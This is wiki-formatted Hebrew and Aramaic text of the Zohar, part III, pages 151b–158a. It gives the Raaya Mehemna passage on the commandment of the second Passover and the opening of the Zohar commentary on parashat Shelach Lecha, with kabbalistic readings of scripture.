{{ממ זהר משולב|ג|קנא|ב}}&lt;קטע התחלה=רע&quot;מ דף קנא ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנא ב/&gt;

{{ממ זהר משולב|ג|קנב|א}}&lt;קטע התחלה=רע&quot;מ דף קנב א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנב א/&gt;


{{ממ זהר משולב|ג|קנב|ב}}

&lt;קטע התחלה=רע&quot;מ דף קנב ב/&gt;'''פקודא [ל'] למעבד פסח שני על אינון דלא יכילו או דאסתאבו במסאבו אחרא'''. 

אי רזא דפסח רזא דמהימנותא - דישראל עאלין בה שלטא בניסן וכדין איהו זמנא לחדוה - איך יכלין אלין דלא יכילו או דאסתאבו למעבד בירחא תניינא דהא אעבר זמנא!?

אלא כיון דכנסת ישראל מתעטרא בעטרהא בניסן - לא אתעדיאת כתרהא ועטרהא מינה תלתין יומין. וכל אינון תלתין יומין מן יומא דנפקו ישראל מפסח - יתבא מטרוניתא בעטרהא וכל חילהא בחדוה. מאן דבעי למחמי למטרוניתא יכיל למחמי. כרוזא כריז &quot;''כל מאן דלא יכיל למחמי מטרוניתא - ייתי ויחמי עד לא ינעלון תרעיה!''&quot; 

אימתי כרוזא כריז? בארבעה עשר לירחא תניינא. דהא מתמן עד שבעה יומין תרעין פתיחן. מכאן ולהלאה - ינעלון תרעי. ועל דא פסח שני. {{קטן|'''(עד כאן)'''}}


({{צ|פקודא דא לספור ספירת העומר}} - {{ממ זהר|ג|צז|א}})


'''פקודא דא שחיטת הפסח בזמנו. ואבתריה פסח ראשון ופסח שני לאכול אותן כמשפטן. וטמאים להיות נדחים לפסח שני דאיהו פקודא תליתאה'''

תנאין ואמוראין! {{ש}}
אית בני נשא כחולין דטהרה מסטרא דמיכאל,{{ש}} 
וכחולין דהקדש כגון בשר קדש ואינון מסטרא דגבריאל. {{ש}}
כהן ולוי.{{ש}} 
ואית בני נשא דאינון כיומין טבין ואינון קדש קדשים.


שכינתא איהי פסח ראשון מימינא. פסח שני משמאלא. פסח ראשון מימינא - דתמן חכמה. פסח שני משמאלא - דתמן בינה. ובגין דבגבורה  מתעברין כל אשין נוכראין דאינון כקש ותבן לגבי אש דגבורה - טמאים נדחים לפסח שני. וכל טומאת נדה ומצורע וזב וזבה ויולדת - באשא דגבורה איהו שורף. דנשמתא איהו מאנא דקודשא בריך הוא ואיהו לא שרי בה עד דאתלבנת באשא דגבורה דכתיב {{צ|הלא כה דברי כאש נאם יהו&quot;ה}} {{ממ|ירמיהו|כג|כט}}. ובהאי אשא - אם ברזל הוא מתפוצץ ואם אבן הוא נמוח.

ובימינא  דתמן תורה שבכתב דאיהי מים - {{צ|וטהרה ממקור דמיה}} {{ממ|ויקרא|יב|ז}}, ואתדכי בה מצורע וטמא מת וזב וטמא בכל מיני שרץ. &lt;קטע סוף=רע&quot;מ דף קנב ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנג|א}}{{ש}}
&lt;קטע התחלה=רע&quot;מ דף קנג א/&gt;הדא הוא דכתיב  {{צ|וזרקתי עליכם מים טהורים וטהרתם וגו'}} {{ממ|יחזקאל|לו|כה}}, מעמודא דאמצעיתא.


מאנא - אתיחדת בבעלה דאיהי אתתא. בתר דאתקדשת בשמאלא ואתדכאת במי מקוה בימינא. ואומרים על מאני דפסחא, {{צ|כלים שנשתמשו בהן בצונן - מטבילן בצונן והן טהורים}}. אינון נשמתין דאינון מסטרא דרחמי ואינון רחמנים, מארי חנא וחסדא -- לא צריכין לאדכאה במים פושרים כבינוניים. כל שכן בחמי חמין דבהון מתדכין רשעים גמורים דמחממין גרמייהו באשא דיצר הרע, ועלייהו אתמר {{צ|כל דבר אשר יבא באש}} {{ממ|במדבר|לא|כג}} - בגין דזוהמא דילהון נפישא. אבל צדיקים גמורין בצונן, דעלייהו אתמר {{צ|כל המשים ריוח בין הדבקים מצננים ליה גיהנם}}. 

ואי נשמתין חמריים דאינון כמאני חרס - שבירתן זו היא טהרתן. כמה דאת אמר {{צ|נשברו - נטהרו}}. ורזא דמלה {{צ|זבחי אלהים רוח נשברה וגו'}} {{ממ|תהלים|נא|יט}}.  אבל אינון דמשתדלין באורייתא דבכתב ובאורייתא דבעל פה, דאינון אש ומים, ואינון דמשתדלין ברזא דאורייתא דאיהו אור דכתיב בה {{צ|ותורה אור}} - באורייתא אינון מתדכין בה!


ועוד בפרק הרואה: הרואה תמרים בחלום - תמו עונותיו. הדא הוא דכתיב {{צ|תם עונך בת ציון}} {{ממ|איכה|ד|כב}}. {{ש}}
בגין ד'''תמרים''' - ביה '''תם''' - דרגא דיעקב דאתמר ביה {{צ|ויעקב איש תם}} {{ממ|בראשית|כה|כז}}. חובין - '''מרים'''. ועל דא '''תמרים''' - תמן '''תם''' ותמן '''מר'''.

הכא רמיז {{צ|וימתקו המים}} {{ממ|שמות|טו|כה}}. הדא הוא דכתיב {{צ|ויורהו יהו&quot;ה עץ וימתקו המים}}. מהכא - מאן דאשתדל באורייתא דאיהו 'עץ' - חובין דיליה דאתמר בהון {{צ|וימררו את חייהם בעבודה קשה}} {{ממ|שמות|א|יד}} - קודשא בריך הוא מחיל ליה ויתחזרון מתיקין. דיומין ייתון דיתקיים בהו כמפקנו דמצרים דאתמר ביה {{צ|וימת יוסף וכל אחיו וכל הדור ההוא}} {{ממ|שמות|א|ו}}. ובגלותא בתראה לית מיתה אלא עוני, דעני חשוב כמת. לקיים בהון {{צ|והשארתי בקרבך עם עני ודל וחסו בשם יהו&quot;ה}} {{ממ|צפניה|ג|יב}}, לאתקיימא בהון {{צ|ואת עם עני תושיע}} {{ממ|תהלים|יח|כח}}.

ואלין עתירין דישתארון בהון - יתקיים בהון {{צ|נרפים אתם נרפים}} {{ממ|שמות|ה|יז}} - נרפים הם באורייתא! נרפים הם למעבד טיבו עם מארי תורה ואנשי חיל המסובבים מעיר לעיר ולא יחוננו.  ונרפים הם בכובד המס. דאי תימא כבדין אינון בכובד המס ולא עבדין טיבו - בגין דא {{צ|תכבד העבודה על האנשים ויעשו בה}} - דכובד המס עלייהו! {{ש}}
{{צ|ואל ישעו בדברי שקר}} - דאינון משקרין ואמרין דכובד המס עלייהו ובגין דא לא יעבדון טיבו. אינון משקרן במילולייהו  ואמרין דמהכובד דתכבד עלייהו, {{צ|תבן אין ניתן}} {{ממ|שמות|ה|ז}}, ממונא דשקרא, דביה טענין לקודשא ברוך הוא, ובגין דלא ישעון ביה, ולא חסו בשם יהו&quot;ה - {{צ|אין נתן לעבדיך}}.

ואלין דאית לון טמיר וגניז ממונא מלגו דאיהו {{צ|תוכן}} - כגון תוך האוצר ותיבה, אתקיים בהו {{צ|ותוכן לבנים תתנו}}, ודא כספים  לבנים דיהון בההוא דרא.  בההוא זמנא {{צ|שם שם לו חוק ומשפט}}, ואינון מארי משנה. אוף הכא {{צ|ויבאו מרתה}} {{ממ|שמות|טו|כג}} - אתהדר לון אורייתא דבעל פה מרה, בדחקין סגיאין בעניותא, דיתקיים בהו {{צ|וימררו את חייהם בעבודה קשה}} - זו קושיה. {{צ|בחומר}} - דא קל וחומר. {{צ|ובלבנים}} - דא לבון הלכה. {{צ|ובכל עבודה בשדה}} - דא ברייתא.  {{צ|את כל עבודתם אשר עבדו בהם בפרך}} - דא תיקו.

ורעיא מהימנא! תמן אתקיים בך {{צ|שם שם לו חק ומשפט ושם נסהו}} {{ממ|שמות|טו|כה}}! ובהאי עץ הדעת טוב ורע דאיהו איסור והיתר, ובאינון רזין דאתגליין על ידך - {{צ|וימתקו המים}} - כמלח דממתקת בשרא. הכי יתמתקון ברזייא דאתגליין על ידך כל אינון קושיין ומחלוקות; דמיין מרירן דאורייתא דבעל פה - אתהדרו מתיקן מי אורייתא. ויסורין דילך ברזין אלין דאתגליין על ידך - יהון לך מתיקין, ויהדרון לך כל דחקין דילך כחלמין דעברין. ו'''חלם''' בהיפוך אתוון '''מלח''' - דממתקת ית בשרא - אוף יסורין ממתקים כמה דאוקמוה. 

ולרשעים מתהדרן יסורין '''מלח סדומית''' דאיהי מסמא את העינים, לקיימא בהו {{צ|ועיני רשעים תכלינה}} {{צ|איוב|יא|כ}}. &lt;קטע סוף=רע&quot;מ דף קנג א/&gt;

{{ממ זהר משולב|ג|קנג|ב}}

&lt;קטע התחלה=רע&quot;מ דף קנג ב/&gt;ואינון ערב רב רשיעייא דיתקיים בהו בההוא זמנא {{צ|יתבררו ויתלבנו ויצרפו רבים והרשיעו רשעים}} {{ממ|דניאל|יב|י}}. {{ש}}
{{צ|יתלבנו}} - אינון מארי משנה, {{צ|ויצרפו}} אינון זרעא קדישא דשאר עמא. הדא הוא דכתיב {{צ|וצרפתים כצרוף את הכסף}} {{ממ|זכריה|יג|ט}}. {{צ|והרשיעו רשעים}} - אינון ערב רב.

{{צ|והמשכילים יבנו}} - אינון מארי קבלה דאתמר בהון {{צ|והמשכילים יזהירו כזהר הרקיע}} {{ממ|דניאל|יב|ג}} - אלין אינון דקא משתדלין בזהר דא דאקרי {{צ|ספר הזהר}} דאיהו כתיבת נח דמתכנשין בה שנים בעיר ושבע ממלכותא, ולזמנין אחד מעיר ושנים ממשפחה, דבהון יתקיים {{צ|כל הבן הילוד היאורה תשליכוהו}} {{ממ|שמות|א|כב}}. ודא אורה דספרא דא. וכולא על סיבה דילך!

ומאן גרים דא? -- עורב! {{ש}}
דאנת תהא בההוא זמנא כיונה דשליח אחרא דאקרי בשמך, כעורב דאשתלח בקדמיתא ולא אתהדר בשליחותא, דאשתדל בשקצים דאתמר בהון עמי הארץ שקץ, בגין ממונא דלהון, ולא אשתדל בשליחותיה לאהדרא לצדיקייא בתיובתא, כאילו לא עביד שליחותא דמאריה. ובך יתקיים רזא דיונה, דעאל בעמקין דתהומי ימא - הכי תיעול אנת בעמיקו דתהומי אורייתא. הדא הוא דכתיב {{צ|ותשליכני מצולה בלבב ימים}}. {{צ|יונה|ב|ד}}. 

ויהון חכמה חסד נצח לימין דבגינייהו אמר דוד {{צ|ימין יהו&quot;ה עושה חיל, ימין יהו&quot;ה רוממה, ימין יהו&quot;ה עושה חיל}}. ותלת משמאלא יתקשרון כחדא דאינון בינה גבורה הוד. ותלת דרגין דאמצעיתא - כתר תפארת יסוד, דאחידן בימינא ושמאלא. ובגין דחזא לך נביא מתקשר בתלת דרגין דאמצעיתא - פתח עלך האי קרא {{צ|הנה ישכיל עבדי ירום ונשא וגבה מאד}} {{ממ|ישעיהו|נב|יג}}. ובגין דאנת תהא אחיד בתרין משיחין, אמר דוד על תלת ימינין דמשיח בן דוד {{צ|ימין יהו&quot;ה}} תלת זמנין. 

לקביל תלת שמאלין דאחיד בהון משיח בן אפרים אמר מסטרא דחד שמאלא גבורה {{צ|לא אמות}}, {{צ|כי אחיה}} מסטרא דשמאלא דהוד דילך דאתמר ביה ונתן ההוד למשה, אתייהיב בך מסטרא דבינה בגין דביה הוית אנת חרב ויבש בכלא, בגין משיח בן אפרים. באורייתך, בנביאותך עליה, בגופך דסבילת כמה מיני יסורין בגין דלא ימות הוא. ובעית רחמי עליה. אתמר ביה {{צ|כי אחיה}} מסטרא דבינה. ובגין דא {{צ|לא אמות}} מסטרא דגבורה, {{צ|כי אחיה}} מסטרא דבינה אילנא דחיי דאתגבר עליה קריאת שמע של שחרית וקשיר ליה בקשורא דתפילין בימינא דאברהם דאיהו שחרית.

{{צ|ואספר מעשי יה}} - מסטרא דהוד, {{צ|יסור יסרני יה}} - חכמה ובינה מימינא ומשמאלא, בתלת ימינין ותלת שמאלין. {{צ|ולמות לא נתנני}} - עמודא דאמצעיתא בתלת דכליל כתר וצדיק ואיהו '''בן יה'''. ומיד יקום '''ו'''' ל'''ה'''' ב'''יה''' בימינא ושמאלא, ברחמי ותחנוני, בכמה פיוסים לה ולבנהא. הדא הוא דכתיב {{צ|ביום ההוא אקים את סוכת דוד הנופלת}}. ובגין דא אמר נביא {{צ|בבכי יבאו ובתחנונים אובילם}} {{ממ|ירמיהו|לא|ח}}.


קם רעיא מהימנא ונשיק ליה ובריך ליה. ואמר &quot;''ודאי שליחא דמארך אנת לגבן!''&quot;. {{ש}}
פתחו תנאין ואמוראין ואמרו &quot;''רעיא מהימנא! אנת הוית ידע כל דא, ועל ידך היא אתגלייא, אבל בענוה דילך דאתמר בך {{צ|והאיש משה ענו מאד}} {{ממ|במדבר|יב|ג}} - באלין אתרין דאנת מתבייש לאחזקא טיבו לגבך - מני קודשא בריך הוא לן ולבוצינא קדישא למהוי בידך ובפומך באלין אתרין''&quot;. 

'''(עד כאן רעיא מהימנא)'''


{{קטן|'''[כאן מופיע בדפוס {{צ|עח א - פקודא בתר דא וכו'}}. ולא מובן למה הכוונה כי אין רעיא מהימנא ב[[זהר חלק ג עח א]]. וצע&quot;ע. ויקיעורך]'''}}
&lt;קטע סוף=רע&quot;מ דף קנג ב/&gt;

{{ממ זהר משולב|ג|קנד|א}}&lt;קטע התחלה=רע&quot;מ דף קנד א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנד א/&gt;

{{ממ זהר משולב|ג|קנד|ב}}&lt;קטע התחלה=רע&quot;מ דף קנד ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנד ב/&gt;

{{ממ זהר משולב|ג|קנה|א}}&lt;קטע התחלה=רע&quot;מ דף קנה א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנה א/&gt;

{{ממ זהר משולב|ג|קנה|ב}}&lt;קטע התחלה=רע&quot;מ דף קנה ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנה ב/&gt;

{{ממ זהר משולב|ג|קנו|א}}&lt;קטע התחלה=רע&quot;מ דף קנו א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנו א/&gt;

{{ממ זהר משולב|ג|קנו|ב}}&lt;קטע התחלה=רע&quot;מ דף קנו ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנו ב/&gt;

==פרשת שלח לך - זהר==
{{ממ זהר משולב|ג|קנו|ב}}{{ש}}
&lt;קטע התחלה=שלח דף קנו ב/&gt;'''{{צ|וידבר יהוה אל משה לאמר שלח לך אנשים ויתורו את ארץ כנען וגו'}} {{הפניה לפסוקים|במדבר|יג|א|ב}}'''. {{ש}}
רבי חייא פתח {{צ|הֲמִיָּמֶיךָ צִוִּיתָ בֹּקֶר ידעתה שחר [יִדַּעְתָּ הַשַּׁחַר] מְקֹמוֹ}} {{ממ|איוב|לח|יב}} - {{צ|שחר}} כתיב - '''ה'''' אתרחקא מ'''שחר'''. מאי טעמא? 

אלא אמר רבי חייא, בשעתא דנטי ערב ושמשא נטי למיעל - כדין אתחלש תוקפיה. כדין שלטא שמאלא ומשתכח דינא בעלמא ואתפשט. וכדין בעי בר נש לצלאה  דישכח רעותא קמי מאריה. 

דאמר רבי ייסא: כד נטי שמשא ואתחלש - כדין אתפתח חד פתיחו בשמשא, ואתכניש חיליה ושמאלא שליט, ויצחק כרי בירא תחותיה. {{ש}}
כיון דעאל ליליא - פתקא דקוטפא באחמתיה שכיח, וכמה חבילין טריקן  אתפשטו בעלמא. וכלהו שטאן בערבוביא, ואזלי וחייכאן בנפשן דרשיעייא, ומודעין לון מלין; מנהון כדיבן ומנהון קשוט. ומאן דאשתכח בינייהו אתייהיב לון רשו לחבלא. וכלהו בני עלמא ניימין  וטעמין טעמא דמותא. והא אוקימנא. 

תא חזי כד אתער רוח צפון - כדין אתקבלא כנסת ישראל בשמאלא ואתחברו כחדא. ושריא בדרועא באתרהא. וקב&quot;ה אתי לאשתעשעא עם צדיקייא דבגנתא דעדן. וכדין כל מאן דיתער למלעי באורייתא בההוא שעתא - הא אשתתף בהדה! בגין דהיא  וכל אוכלוסין דילה משבחן למלכא עלאה, וכל אינון דאשתכחו  בתושבחתא דאורייתא - כלהו כתיבין בבני היכלא ואקרון בשמהן, ואלין רשימין ביממא. 


תא חזי שמא חדא קדישא אית בגלופי אתוון דהוא שלטא מפלגו ליליא ואילך, ואינון אתוון ד'''מנצפך'''{{הערה|{{גמט דגש|מ&quot;ם נו&quot;ן צד&quot;י פ&quot;א כ&quot;ף}} עולה {{גמט דגש|כל&quot;ך סעפ&quot;ה יאע&quot;וצה}} עם ג' תיבות והכולל - ויקיעורך}} כליל לון{{הערה|ה&quot;ג הרמ&quot;ק עפ&quot;י המתוק מדבש}}. 
* '''ם'''' - אוקמוה {{צ|לםרבה המשרה}} {{ממ|ישעיה|ט|ו}}. 
* '''נ'''' - הוה אסתים להאי ולהאי - כדין כתרין כלילן הוא. 


'''ו''''  דשמא קדישא אתקין ליה וסתים מבועהא. {{ש}}
בתר דאולידת - פתיחא הות בחד רישא דפתחא. {{ש}}
כד אתחריב בי מקדשא - אסתימו מבועין מכל סטרין. 

את דא כליל אתוון אחרן ואינון שבעה; תלת מהאי סטרא וארבע מהאי סטרא. '''כלך''' - וסימן {{צ|'''כלך''' יפה רעיתי ומום אין בך}} {{ממ|שיר|ד|ז}}. 

'''ן'''' - דכר ונוקבא כליל כחדא. דא כליל תלת מכאן ותלת מכאן ואינון שית. 

ואוקימנא באלין תרין אתוון '''ם' ן'''' אתכללו תריסר אתוון. סליק מנייהו תרי - חד לאתר חד, וחד לאתר חד. 

{{גמט דגש|כל&quot;ך סעפ&quot;ה יאע&quot;וצה}} - הכי אתגליפו אתוון! ורזא דא בכי תצא למלחמה קרא דכתיב {{צ|כִּי יִהְיֶה נַעֲרָ בְתוּלָה}} {{ממ|דברים|כב|כג}} - {{צ|נער}} כתיב. 


בתר דאסתלק ליליא וצפרא נהיר - כדין '''ה'''' סלקא ואתכלילת בנהורא עלאה. וכדין {{צ|ידעת השחר מקומו}} - דידע '''שחר''' מקומו ד'''ה&quot;א''' ואתכלילת בגויה.


תא חזי משה הוה שמשא ובעא לאעלאה לארעא. {{ש}}
אמר ליה קב&quot;ה: משה! כד אתי נהורא דשמשא - אתכליל סיהרא בגוויה.&lt;קטע סוף=שלח דף קנו ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנז|א}}{{ש}}
&lt;קטע התחלה=דף קנז א/&gt;השתא דאנת שמשא - היך יקומון כחדא שמשא וסיהרא?! לא נהיר סיהרא אלא בשעתא דאתכניש שמשא! אבל השתא לית היא{{הערה|ה&quot;ג הגר&quot;א עפ&quot;י המתוק מדבש}} יכיל. אי תבעי למנדע מנה - '''{{צ|שלח לך אנשים}} {{ממ|במדבר|יג|ב}}''' - לגרמך בגין למנדע. 


תא חזי! משה - אי תימא דהוא לא ידע דלא ייעול לארעא בזמנא דא -- לאו הכי! אלא ידע! והוה בעי למנדע מנה עד לא יסתלק, ושלח לאלין מאללי. כיון דלא אתיבו מלה כדקא יאות - לא שלח זמנא אחרא עד דקב&quot;ה אחזי ליה דכתיב {{צ|עלה אל הר העברים הזה וראה את הארץ}} {{ממ|דברים|לב|מט}}, וכתיב {{צ|ויראהו יהוה את כל הארץ}} {{ממ|דברים|לד|א}}. ולא דא בלחודוי אלא כל אינון דזמינין למיקם בכל דרא ודרא - כלהו אחזי ליה למשה! ואתמר ואוקמוה חברייא. 

כיון דשארי משה למשלח מה אמר לון? {{צ|היש בה עץ}} {{ממ|במדבר|יג|כ}}. וכי מה הוא דקאמר? ואי תימא דלא ידע -- אלא לקמן יימא מלה! אבל הכא הכי אמר משה: אם יש בה עץ - הא ידענא דאנא איעול לתמן! מאי {{צ|עץ}}? דא אילנא דחיי, ותמן לא הוה אלא בגן עדן דארעא. אמר: אם יש בה עץ דא - אנא איעול לתמן! ואי לא - לאו אנא יכיל למיעל! 


אמר רבי חייא כתיב {{צ|וימצאו איש מקושש עצים ביום השבת}} {{ממ|במדבר|טו|לב}}. מאן עצים הכא ומאן הוא דא? אלא דא צלפחד. והוה דייק על אלין אילנין - הי מנייהו רב על אחרא, ולא חשש ליקרא דמאריה, ואחלף שבת לשבת. הדא הוא דכתיב {{צ|כי '''בחטאו''' מת}} {{ממ|במדבר|כז|ג}} - '''{{צ|בחטא ו' מת}}'''. בגין כך הוה דיניה סתים, ולא אתפרש דיניה כדינין אחרנין. בגין דמלה דא בעי בחשאי וסתים, ולא גלייא. ועל דא לא אתמר באתגלייא. וקב&quot;ה עבד יקר ליקריה. 


רבי יוסי אמר שאר עצים בהדי שבת הוה מקושש. וקביל עונשא לפום שעתא ואתכפר חוביה. ועל דא אתקשי משה בדינא דבנתא דלא ידע אי אתכפר למהוי לבנתיה חולק ואחסנא אי לאו. כיון דדכר שמיה דצלפחד קב&quot;ה דכתיב {{צ|כן בנות צלפחד דוברות}} {{ממ|במדבר|כז|ז}} - אתידע דהא אתכפר חוביה. 

תא חזי תרין אילנין אינון - חד לעילא וחד לתתא. בדא חיין, ובדא מותא. מאן דאחלף לון - גרים ליה מותא בהאי עלמא ולית ליה חולקא בההוא עלמא! ועל דא אמר שלמה {{צ|דבש מצאת אכול דייך וגו'}} {{ממ|משלי|כה|טז}}. 

'''ארון ותורה''' בחד קיימי! תורה - עקרא, ארון - ביתא. ועל דא '''{{צ|ארן}}''' חסר בלא '''וא&quot;ו'''  בכל אתר - {{צ|'''ארן''' הברית}} {{צ|'''ארן''' העדות}}. 

בכל אתר אהרן דרועא ימינא בר בחד דכתיב {{צ|כל פקודי הלוים אשר פקד משה וְׄאַׄהֲׄרֹׄןׄ}} {{ממ|במדבר|ג|לט}} - נקוד לעילא. 


א&quot;ר יצחק: משה אילנא דחיי נקט. ועל דא בעא למנדע אי הוה שכיח בארעא אי לאו. ובגין כך אמר {{צ|היש בה עץ אם אין והתחזקתם ולקחתם מפרי הארץ}} - דהא אילנא דחיי אתחמד לכלא. ואינון לא אייתיאו אלא ענבים ורמונים ותאנים - באילנא אחרא תליין ואחידן. {{ש}}
ועל דא '''{{צ|שלח לך אנשים}}''' - בגינך.

==קטע זמני==
רבי יהודה פתח  {{צ|כצנת שלג ביום קציר ציר נאמן לשולחיו ונפש אדוניו ישיב}} {{ממ|משלי|כה|יג}}.{{ש}} 
{{צ|כצנת שלג ביום קציר}} - דאהני לגופא ולנפשא {{צ|ציר נאמן לשולחיו}} - אלו כלב ופנחס דהוו שליחי מהימני לגבי יהושע. {{צ|ונפש אדוניו ישיב}} - דאהדרו שכינתא לדיירא בהו בישראל ולא אסתלקא מנייהו. ואלין דשדר משה גרימו בכייה לדרין בתראין וגרימו לאסתלקא מישראל כמה אלף ורבבן. וגרימו לסלקא שכינתא מארעא מבינייהו דישראל. אינון דשדר יהושע {{צ|ונפש אדוניו ישיב}}. 


'''רבי חזקיה ור' ייסא''' הוו אזלי בארחא. 
אמר רבי ייסא לר' חזקיה חמינא באפך דהרהורא אית בגווך. 
אמר ליה הא ודאי האי קרא אסתכלנא ביה כיון דאמר שלמה {{צ|כי מקרה בני האדם ומקרה הבהמה ומקרה אחד להם וגו'}} {{ממ|קהלת|ג|יט}}. ותנינן דכל מלוי דשלמה מלכא כלהו סתימין מדרגין דחכמתא. אי הכי האי קרא אית ביה לאסתכלא דהא פתחא לאינון דלאו בני מהימנותא אשתכח ביה. &lt;קטע סוף=דף קנז א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנז|ב}}{{ש}}
&lt;קטע התחלה=דף קנז ב/&gt;אמר ליה ודאי הכי הוא ואית ביה למנדע ולאסתכלא. {{ש}}
אדהכי חמו חד בר נש דהוה אתי שאל לון מייא דהוה צחי והוה לאי בתוקפא דשמשא. {{ש}}
אמרו ליה מאן את. {{ש}}
אמר לון יודאי אנא ואנא לאי וצחינא. {{ש}}
אמרו לעית באורייתא אמר לון עד דאנא עמכון במלין אסלק להאי טורא ותמן אסב מייא ואשתי. {{ש}}
אפיק רבי ייסא חד זפירא מלי מיין ויהב ליה. {{ש}}
בתר דשתה אמר נסלק עמך למייא. {{ש}}
סליקו לטורא ואשתכחו חד חוטא דמייא דקיק ומלי קטפורא חד. {{ש}}
יתבו. {{ש}}
אמר לון ההוא בר נש השתא שאילו דהא אנא אשתדלנא באורייתא על ידוי דחד ברי דאנא עיילית ליה לבי רב ובגיניה רווחנא באורייתא. {{ש}}
אמר רבי חזיקה אי על ידא דברך טב הוא. אבל מלה דאנן ביה אנא חמינא דלאתר אחרא בעי לאסתלקא. {{ש}}
אמר ההוא בר נש אימא מלך דלזמנין באפרקסתא דענייא תשכח מרגניתא. {{ש}}
אמר ליה האי קרא דאמר שלמה סח ליה. {{ש}}
אמר ליה וכי (נ&quot;א כמה) במה אתון פירשן משאר בני נשא דלא ידעי. {{ש}}
אמרו ליה ובמה. {{ש}}
אמר לון על דא אמר שלמה האי קרא ולא אמר האי מגרמיה כשאר אינון מלין אלא אהדר אינון מלין דטפשאי עלמא דאמרי כך. ומאי אמרי {{צ|כי מקרה האדם ומקרה הבהמה וגו'}} טפשאי דלא ידעי ולא מסתכלן בחכמתא אמרי דהאי עלמא אזיל במקרה וקב&quot;ה לא אשגח עלייהו אלא {{צ|מקרה האדם ומקרה הבהמה ומקרה אחד וגו'}}. וכד שלמה אסתכל באלין טפשאין דקאמרי דא קרא לון בהמה דאינון עבדין גרמייהו בהמה ממש בגין דאמרי מלין אלין. 

ומנלן קרא דעליה אוכח דכתיב {{צ|אמרתי אני בלבי על דברת בני האדם לברם האלהים ולראות שהם בהמה המה להם}} {{ממ|קהלת|ג|יח}}. {{צ|אמרתי אני בלבי}} וחשיבנא בהאי לאסתכלא על מה. {{צ|על דברת בני האדם}} - על ההוא מלה דטפשותא דאינון אמרי {{צ|לברם האלהים}} בלחודייהו ולא יתחברון בהדי בני נשא אחרינן דאית לון מהימנותא {{צ|ולראות שהם בהמה המה להם}}. ולראות בהו אינון בני מהימנותא שהם בהמה ממש ודעתייהו כבעירא המה להם בלחודייהו ולא לאעלאה לבני מהימנותא בדעתא דטפשותא דא ועל דא {{צ|המה להם}} ולא לאחרנין. 

ומה דעתא דלהון? {{צ|כי מקרה בני האדם ומקרה הבהמה ומקרה אחד לכלם וגו'}}. תיפח רוחיהון דאינון בעירי! אינון טפשאי! אינון מחוסרי מהימנותא! ווי לון ווי לנפשייהו! טב להו דלא ייתון לעלמא! ומה אתיב לון שלמה על דא? קרא אבתריה ואמר {{צ|ומי יודע רוח בני האדם העולה היא למעלה ורוח הבהמה היורדת היא למטה לארץ}} {{ממ|קהלת|ג|כא}}. {{צ|מי יודע}} באינון טפשאי דלא ידעי ביקרא דמלכא עלאה ולא מסתכלי באורייתא {{צ|רוח בני האדם העולה היא למעלה}} לאתר עלאה לאתר יקר לאתר קדישא לאתזנא מנהירו עלאה מנהירו דמלכא קדישא למהוי צרורא בצרורא דחיי ואשתכחת קמי מלכא קדישא עולה תמימה ודא הוא {{צ|העולה היא למעלה}}. {{צ|ורוח הבהמה היורדת היא למטה לארץ}} ולאו לההוא אתר דהוה כל ב&quot;נ דכתיב ביה {{צ|בצלם אלהים עשה את האדם}} {{ממ|בראשית|א|כז}}, וכתיב {{צ|נר יהוה נשמת אדם}} {{ממ|משלי|כ|כז}}. היך אמרי אינון טפשאי דלאו מבני מהימנותא {{צ|ורוח אחד לכל}}?! תיפח רוחיהון עלייהו כתיב {{צ|יהיו כמוץ לפני רוח ומלאך יהוה דוחה}} {{ממ|תהלים|לה|ה}}. אלין ישתארון בגיהנם לאינון דרגין תתאין ולא יסתלקון לדרי דרין. עלייהו כתיב {{צ|יתמו חטאים מן הארץ ורשעים עוד אינם ברכי נפשי את יהוה הללויה}} {{ממ|תהלים|קד|לה}}. 

אתו רבי חזקיה ורבי ייסא ונשקו רישיה. 
אמרו: ומה כל כך הוה עמך ולא ידענא. זכאה האי שעתא דאערענא בך! &lt;קטע סוף=דף קנז ב/&gt;
 
{{ממ זהר משולב|ג|קנח|א}}

&lt;קטע התחלה=דף קנח א/&gt;תו אמר: &quot;''וכי על דא בלחודוי תוה שלמה?! והא באתר אחרא אמר כגוונא דא!''&quot;{{ש}} 
פתח ואמר: {{צ|זה רע בכל אשר נעשה תחת השמש}} {{ממ|קהלת|ט|ג}}. {{צ|זה רע}} ודאי. מאי {{צ|זה רע}}? דא הוא מאן דאושיד זרעא בריקניא וחביל אורחוי בגין דהאי לאו מדוריה בקב&quot;ה ולא יהא ליה חולקא בעלמא דאתי הדא הוא דכתיב {{צ|כי לא אל חפץ רשע אתה לא יגורך רע}} {{ממ|תהלים|ה|ה}}. על דא אמר {{צ|זה רע}} דלא יהא ליה מדורא לעילא כי מקרה אחד לכל וגם לב בני האדם מלא רע (בגין דא) והוללות בלבבם בחייהם שטותא תקיע בלבייהו ואינון מחוסרי מהימנותא ולית לון חולקא בקב&quot;ה ובאינון בני מהימנותא לאו בעלמא דין ולא בעלמא דאתי הדא הוא דכתיב {{צ|ואחריו אל המתים}} {{ממ|קהלת|ט|ג}}. 

